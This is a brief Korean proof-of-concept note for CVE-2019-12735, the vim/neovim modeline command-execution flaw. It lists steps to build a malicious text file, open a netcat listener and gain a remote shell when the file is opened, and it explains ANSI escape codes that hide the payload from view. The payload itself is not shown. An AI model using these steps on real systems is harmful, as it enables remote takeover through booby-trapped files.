CVE-2019-12735

이 CVE는 neovim 0.3.6 및 vim 8.1.1365 이후에 수정되었습니다.

POC

vim demo1.txt

원격 셸

1. 악성 텍스트 파일 생성:

gcc make_demo3.c -o make_demo3
./make_demo3

2. 다른 세션에서 클라이언트 실행:

nc -vlp 9999

3. 악성 파일 열기:

vim demo3.txt

그러면 세션에서 리눅스 명령어를 실행할 수 있습니다.

참고

• GitHub의 POC 데모
• Exploit DB
• netcat

ANSI

• \x1b[?7l : 줄 끝에 도달해도 줄바꿈하지 않고, 마지막 문자를 계속 덮어씁니다.
• \x1bS: STS, 전송 상태 설정
• \x1b[1G: 열 1로 이동
• \x1b[K: 현재 커서 위치부터 줄 끝까지 모든 문자 삭제